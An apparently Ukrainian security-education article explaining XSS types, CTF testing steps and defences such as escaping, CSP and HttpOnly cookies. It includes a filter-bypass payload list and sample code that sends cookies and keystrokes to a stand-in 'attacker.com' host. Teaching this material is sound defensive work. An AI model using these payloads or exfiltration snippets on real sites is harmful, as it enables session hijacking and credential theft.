KB / Статті / XSS: міжсайтовий скриптинг від A до Z
UA EN

XSS: міжсайтовий скриптинг від A до Z

✍ admin 📅 14.06.2026 👁 115 переглядів

Що таке XSS?

Cross-Site Scripting (XSS) — вразливість, яка дозволяє зловмиснику виконати довільний JavaScript у браузері жертви. Попри назву, це не атака між сайтами — назва застаріла.

XSS входить до OWASP Top 10 вже понад 15 років — через простоту знаходження та серйозність наслідків.

Три типи XSS

Reflected XSS

Шкідливий скрипт повертається з відповіді сервера в межах одного запиту. Жертва має перейти за спеціально створеним посиланням.

https://example.com/search?q=<script>alert(1)</script>

Сервер відповідає:

<p>Результати пошуку: <script>alert(1)</script></p>

Stored XSS (Persistent)

Скрипт зберігається на сервері (база даних, лог-файл) і виконується для кожного відвідувача сторінки. Найнебезпечніший тип.

Типові місця: коментарі, профілі, повідомлення чату, назви файлів.

DOM-based XSS

Вразливість повністю на стороні клієнта — JavaScript читає дані з URL або storage та вставляє в DOM без санітизації.

// Вразливий код
document.getElementById('output').innerHTML = location.hash.slice(1);
https://example.com/page#<img src=x onerror=alert(1)>

Корисні пейлоади

<!-- Базовий -->
<script>alert(1)</script>

<!-- Якщо < та > фільтруються -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>

<!-- Обхід лапок -->
<img src=x onerror=alert`1`>

<!-- Якщо фільтрується слово "script" -->
<scr<script>ipt>alert(1)</scr</script>ipt>
<SCRIPT>alert(1)</SCRIPT>

<!-- Кодування -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

<!-- Без пробілів -->
<img/src=x/onerror=alert(1)>

<!-- Event handlers -->
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>

Що робить зловмисник з XSS

Крадіжка кукі:

fetch('https://attacker.com/steal?c=' + document.cookie)

Keylogger:

document.addEventListener('keypress', e => {
  fetch('https://attacker.com/key?k=' + e.key)
})

Фішинг — підробка форми логіну:

document.body.innerHTML = '<form action="https://attacker.com/login">...'

XSS для CSRF — виконати дії від імені жертви, обходячи CSRF-токени.

Пошук XSS у CTF

  1. Знайдіть усі місця де вхідні дані відображаються на сторінці
  2. Спробуйте базовий <script>alert(1)</script>
  3. Якщо блокується — аналізуйте що саме фільтрується
  4. Використовуйте Burp Suite для перехоплення та модифікації запитів
  5. Для Stored XSS — шукайте де дані зберігаються і де потім відображаються

Захист

# Flask — автоматичний escape в Jinja2
{{ user_input }}          # безпечно — Jinja2 екранує
{{ user_input | safe }}   # НЕБЕЗПЕЧНО — вимикає escape

Content Security Policy (CSP):

Content-Security-Policy: default-src 'self'; script-src 'self'

HttpOnly кукі — захищають від крадіжки через document.cookie:

Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict

Інструменти

  • Burp Suite — перехоплення та тестування
  • XSStrike — автоматичне знаходження XSS
  • DalFox — сучасний XSS-сканер
  • Burp Collaborator — для blind XSS
Коментарі (0)
Увійди, щоб залишити коментар.
Коментарів поки немає.
Вперше тут?
Новачок на Bastion?
Почни з гайду користувача.
Відкрити гайд →
?